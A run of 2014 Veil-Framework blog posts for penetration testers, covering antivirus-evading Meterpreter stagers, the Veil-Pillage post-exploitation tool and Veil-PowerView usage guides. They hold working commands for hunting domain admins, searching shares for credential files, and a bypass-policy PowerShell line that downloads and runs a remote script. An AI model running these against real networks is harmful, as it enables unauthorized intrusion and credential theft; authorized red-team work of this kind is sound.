August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

Posted on by Harm J0y 1

Hunting for Sensitive Data with the Veil-Framework

Data mining available file shares for sensitive data is a staple of red teaming. We’ve found everything from password lists, to full employee directories, salary information, network diagrams and more, all due to network shares with incorrectly configured permissions. Veil-PowerView has a few functions (Invoke-Netview and Invoke-Sharefinder) that have helped us quickly find and explore shares our current user has access to. I’ve talked in the past about using Powershell to triage file servers during engagements, and realized that robust, recursive file listing would make a great addition into PowerView. Those two functions (Invoke-SearchFiles and Invoke-FileFinder) were recently added, and I wanted to demonstrate how this new functionality can help you find sensitive files on the network as quickly as possible.

Invoke-ShareFinder has had its output recently reworked so it spits out any “\\HOST\share    – COMMENT” found, instead of the status output similar to Invoke-Netview. The reason for this is to easily chain together Invoke-ShareFinder and Invoke-FileFinder, while preserving as much information we might want as possible. Here’s how I usually run sharefinder:

  • PS C:\> Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii found_shares.txt

This will query AD for all machine objects, ping each one to ensure the host is up before enumeration, check each found share for read access, and output everything to found_shares.txt. The -Verbose flag gives some status output as it chews through all the retrieved servers, and the output will look something like this:

\\WIN2K8.company.com\MSBuild 	- test
\\WIN2K8.company.com\NETLOGON 	- Logon server share 
\\WIN2K8.company.com\SYSVOL 	- Logon server share 
\\WIN2K8.company.com\test 	- 
\\WIN2K8.company.com\Users 	- User share
\\WINDOWS7.company.com\secret	- don't look here
...snip...

I’ll save off an original copy of the file off for reference, and then will glance over the output, manually trimming out certain shares that seem like they likely won’t be interesting. I can then feed that output file straight into Invoke-FileFinder. This will recursively search given shares for sensitive files:

  • PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv

This will take the share input list from sharefinder and recursively list each share, filtering for files with ‘*pass*’, ‘*sensitive*’, ‘*admin*’, ‘*secret*’, ‘*login*’, ‘*unattend*.xml’, ‘*.vmdk’, ‘*creds*’, or ‘*credential*’ in the file name. Anything found is then output to a CSV with the full path, owner, last access time, last write time, and length. If I want/need to search for other terms, I’ll use something like this:

  • PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv -Terms payroll,CEO,…

This will replace the default terms with the wildcarded terms specified. If you want to run Invoke-FileFinder without enumerating shares ahead of time, the following function will query AD for active machines like the rest of PowerView’s Invoke-* cmdlets. It will then enumerate all shares it finds, excluding C$ and ADMIN$ by default (these can be included with the -IncludeC and -IncludeAdmin flags). I still advise running Invoke-ShareFinder first and pruning your results a bit for speed reasons, but kicking off the following command will find everything sensitive it can in the network:

  • PS C:> Invoke-FileFinder -OutFile all_files.csv -Verbose

There are several more flags available, including filters for office documents, last creation/write/access times, etc. Check out Invoke-FileFinder’s function documentation if you’re interested in more of the options:

invoke_filefinder_options2

Happy hunting :)

Posted on by Harm J0y 2

July 15th V-Day

For our V-Day release this month, we have some more PowerShell goodness for everyone. Veil-Evasion v2.10.0, now in the master branch, includes powershell/meterpreter/rev_tcp, a native shellcode-less stager conceptually similar to some of our previous releases. Utilizing similar .dll import functionality as some of our previous modules, and originally drawn from Matthew Graeber’s article on shellcode injection with PowerShell, we can achieve the same native-stager functionality without having to rely on shellcode.

The Backdoor Factory payload within Veil-Evasion, which now uses the Capstone Engine, has also been updated (and just had its own wiki stood up)! Be sure to rerun Veil-Evasion’s ./setup/setup.sh script to install the necessary dependencies for the new BDF version.

We’ve also got a big release coming up next month, with the debut of a newest tool in the Veil-Framework, Veil-Pillage, going down at Defcon. If you’re around at Blackhat, come check out the Veil-Framework presentation at Blackhat Arsenal. We’ll also have two new Veil-Evasion payload modules ready for release on August 15th. And on a sidenote, Veil-PowerView was a part of Powershell Magazine’s security special– be sure to check out the other great articles in the series!

Posted on by Harm J0y 1

Veil-PowerView: A Usage Guide

[Note: this topic was cross-posted on my personal blog]

Veil-PowerView is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec, @mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.

First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 script to a local location, and then launch Powershell:

  • C:> powershell.exe -nop -exec bypass

Then import the PowerView module with the following:

  • PS C:\> Import-Module [full path to powerview.ps1]

All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]”. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.

Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:

  • PS C:\> Get-NetComputers -OperatingSystem *xp*

Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:

  • PS C:\> Invoke-FindVulnSystems -Ping

One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:

  • PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess 

Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:

  • PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10

A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:

  • PS C:\> Invoke-Userhunter -Ping

If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:

  • PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt

An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:

  • PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”

There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.

If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:

  • C:\> powershell.exe -nop -exec bypass .\powerview.ps1​ > output.txt

You can also run it straight without any script modifications with:

  • C:\> powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}”

If you want to invoke everything without touching disk, use something like this:

  • C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.

 

Posted on by Harm J0y 4

Veil-PowerView v1.4

Veil-PowerView has gone through another large set of modifications, resulting in its versioning to 1.4. Here are the changes in no particular order:

  • Get-UserProperties was built, stealing directly from @obscuresec‘s great post on the topic located here. Related, Invoke-UserDescSearch was expanded and changed to Invoke-UserFieldSearch, which now allows you to specify the user field to search for wildcard terms. We’ll have a post up soon on using these methods together.
  • Get-NetGroupUsers was combined into Get-NetGroup for standardization.
  • The -Debug flag for meta-functions now replaces the old -Verbose functionality, with the -Verbose flag now outputting a status for when several machines are processed.
  • Invoke-Sharefinder had serveral additional exclusion options added and its output changed to just spit out raw share paths.
  • Set-MacAttribute was added in from Powersploit- see @obscuresec‘s post on the topic on his blog. Invoke-CopyFile automatically invokes this when replacing files in order to match a target’s MAC properties.
  • Invoke-SearchFiles was added, which recursively searches a local or remote network path for files with various specifications. Terms can be specific, MAC attributes filtered one, and more – check out the source for complete flags and options.
  • Invoke-FileFinder was added, which utilizes Invoke-SearchFiles to crawl the network for target data. Lots of flags here too.
  • Several methods were added that attempt to enumerate local machine information: Get-NetLocalGroups to get local groups on a target, Get-NetLocalGroup to get members of a local group, and Get-NetLocalServices to enumerate local services.
  • Invoke-HostEnum was added, which will run all available host enumerate functions on a single target (note: this potentially produces a good chunk of data, just for a single host).
  • A lingering bug was finally fixed that would crash execution of some of the meta-functions when executed against large numbers of machines, usually in the 2000-4000 range. Have to be careful of those access violations when playing with raw memory and API access :)

Thanks again to @obscuresec for posting some great Powershell information that I shameless stole and integrated into PowerView – all credit to Chris for coming up with those ideas. We’re also going to have a few PowerView posts coming up in the next few weeks, including a usage guide, information on abusing user description fields, and an exe trojanation guide. Oh, and the Veil-Framework was recently accepted to Blackhat Arsenal– come stop by to talk about all the tools in the framework, including a new post-exploitation tool being released at Defcon.

 

Posted on by Harm J0y 0

June 15th V-Day

Welcome!  For our June 15th V-Day, we have two different updates for Veil-Evasion.

First off, Josh Pitts (@midnite_runr) has pushed multiple updates to the Backdoor Factory last month.  We’ve incorporated his updates into Veil-Evasion, and everything works great!  By the way, he also released a new tool called the Backdoor Factory Proxy, check it out!  It’s an awesome tool that can backdoor executables mid-download when performing a man-in-the-middle attack against your target.

The other addition we’ve made is adding the heap injection memory allocation technique to our C shellcode injection payloads.  Originally, we had two shellcode injection payloads, virtual and void.  Now, these have been combined into a single C payload (flat) which contains all three memory injection techniques.

We like to release these “base” methods for injecting shellcode so the community has an example to base their own obfuscation methods off of.  Have an interesting method to bypass Antivirus in C, or any other language?  Send us a pull request and we’ll get it added in!

Thanks!

Posted on by Christopher Truncer 0

The State of the Veil-Framework

Today, 1 year ago, Veil was publicly released, and it’s humbling to look at how far we’ve come since then.

When we initially released Veil, it was a single flat 538-line file that only contained 7 different payloads. Thanks to the hard work of @harmj0y and @themightyshiv, Veil was expanded into a fully functional framework with significantly expanded capabilities, and the AV-evasion component was renamed Veil-Evasion. With the release of Veil-Catapult and Veil-PowerView, we’ve started looking beyond just the problem of antivirus towards other offensive areas. Our continuing goal with the Veil-Framework is to maintain an open-source toolkit that spans particular gap areas we’ve encountered.

Veil-Evasion originally supported only three different payload shellcode-injection options, Meterpreter’s reverse_tcp, reverse_http, and reverse_https payloads. As of Veil-Evasion 2.0, all Windows payloads from the Metasploit tree are now loaded and available for use within any */shellcode_inject/* payload. Our payload releases then moved beyond just shellcode injectors with the release of native Meterpreter tcp and http[s] stagers, and we soon started a continual payload release cycle name VDay. We’ve debated disclosure, introduced some auxiliary modules, released a Python obfuscator named Pyherion, and recently integrated a generator for obfuscated Pyinstaller loaders named Pwnstaller. We showed you how to easily check if your payloads have been submitted to Virustotal, integrated Veil-Evasion with Cortana, and got a proper logo. Along the way we’ve had the honor of presenting at Shmooon, CarolinaCon, and soon Defcon. Oh, and we just got our own McAfee signature :)

mcafee_signature

The framework structure now allows anyone to expand or modify the existing codebase. New payload generation modules (public or private) can be dropped into an appropriate language folder and will be automatically loaded up by the framework. We have a lot of existing functionality you can draw on for development of private payload modules, a template located in the tree at ./modules/payloads/template.py, and a tutorial on payload development posted here.

So, we’re a year in now, but where do we go from here? We have a couple of goals we hope to achieve:

  • Port msfvenom to Python – We use MSF’s msfvenom for shellcode generation in the shellcode_inject modules when code isn’t supplied by the user. Being dependent on a third party tool can cause occasional issues, e.g. when the output of msfvenom was modified and a variety of our payloads would crash on execution. Porting msfvenom to Python will allow us to have complete control of the output, and any changes to the tool would be controlled by the Veil Development team, allowing us to account for the changes within the framework.
  • Research – We have a reasonable chunk of private research that’s been feeding our VDay releases. We currently have enough to continue VDay into next year, with some cool stuff hitting in the next few months. We’re keeping on our research efforts and hope to be releasing for a while :)
  • New tool development – We keep building tools to span whatever gap areas we see. The newest tool in development by @harmj0y is a post-exploitation framework named Veil-Pillage, and will be presented on at Defcon.

All that’s really left to say is thanks. We started off creating this project for our own use, but we soon realized we should try to give something back to the industry by making Veil publicly available. The community uptake and use of Veil has been nothing but humbling for all of us. Never did we expect so many people to hear of and use Veil, let alone have it be added to Kali Linux. There have been blog posts, how-to videos, and more developed by the community which showcase the framework and talk about how it’s been successfully used. For all the kind words and support, we thank you.

As always, if anyone ever has any questions on framework modifications, ideas for techniques or modules, or just wants to bounce offensive ideas off of someone, please feel free to get in touch with us. These tools are something we’re genuinely passionate about, and we love talking about new techniques, ways to get better, or simply helping others. We’re just a quick forum post, e-mail, tweet, or IRC message away (#veil on Freenode!).

Thanks for a great first year, and we hope to have many more. Don’t get caught!

#avlol

 

Posted on by Christopher Truncer 1

Carolinacon Wrapup

This past Saturday the Veil development team presented at CarolinaCon X on the Veil-Framework. It was a great experience, and we want to thank the organizers again for having us out. Our presentation was an adaptation of the one given at Shmooon 2014, with material added in for Veil-PowerView. This slides are posted here and the video was uploaded here. Thanks again to CarolinaCon, the conversations and beers we shared, and all the great feedback we got while there!

Posted on by Harm J0y 0

May 15th V-Day Release

This month’s V-Day has a few new C# payloads, and some nice new Python obfuscation. Veil-Evasion 2.8.0, just pushed to the master branch, now implements two new C# payloads, cs/meterpreter/rev_http and it’s SSL wrapped brother cs/meterpreter/rev_https. These are similar to the C stagers released a few months ago, as well as the Python reverse http[s] payloads released in January. The Python posting has some more detailed information. These payloads also have the MSF http checksum algorithm built in as well, so each run should request a shiny new resource URI for staging. Oh, and these work great against a beacon handler.

We also have some newly-developed Python obfuscation integrated. Last week, I released a project named Pwnstaller, which generates an obfuscated version of the Pyinstaller runw.exe loader used by Veil-Evasion Python payloads. A detailed blog post on its workings was released here. Pwnstaller has now been integrated into Veil-Evasion for all Python payloads, with “2 – Pwnstaller” now being an option on the Python compilation menu:

pwnstaller

pwnstaller_evasion

There is also a “–pwnstaller” cli flag added that can force Pwnstaller usage. A backup of the original Pyinstaller runw.exe loader is now located in ./tools/runw_orig.exe, and can be restored to /opt/pyinstaller-2.0/support/loader/Windows-32bit/ if desired. A presentation at BSidesBoston was given on Pwnstaller this past Saturday (5/10/14) and the slides are can be found here.

 

Posted on by Harm J0y 0

Veil-PowerView v1.3

Veil-PowerView has had even more recent changes, culminating in the release of version 1.3:

  • The optional “-CheckShareAccess” flag that can be passed to Invoke-Netview and Invoke-ShareFinder should now accurately record shares that you currently have access to.
  • Get-NetGroups and Get-NetGroupUsers now accept wildcards for the -GroupName passed.
  • Get-NetServers was combined into Get-NetComputers, which now accepts wildcards for the -HostName, -OperatingSystem, and -ServicePack to query AD for.
  • Invoke-FindVulnSystems was implemented, which uses Get-NetComputers to query AD for machines that are likely vulnerable to MS08-067.

There’s also been a major rewrite in how PowerView invokes various Windows API methods (such as NetShareEnum). The standard approach most resources recommend for .dll access is through using the Add-Type method and a member definition to expose specific methods, documented here. You might ask, if this works, why change anything? Two main reasons- first, while this method actually compiles C# code on the fly in memory, some temporary files actually touch disk. As an attacker, refraining from any/all disk access when possible is a good philosophy to maintain. And second, since some code has to be JIT compiled, this method will actually fail in some environments, where some csc.exe/.NET wonkiness can mess stuff up.

Luckily, @mattifestation wrote an excellent post on an alternative method to access the Windows native API. His post can explain it better than I can, but a tldr; is that you can use some native .NET functionality to resolve the address of any method in a loaded .dll. You can then build a custom delegate that models the method you’re intending to call and invoke whatever functionality you need. Graeber also has an article on building structs and enums without having to invoke the csc compilation method as well. All .dll imports and structs in PowerView were rewritten using these methods, leaving disk pristine and expanding the environments you can run PowerView in.

Happy (user) hunting :)

Posted on by Harm J0y 0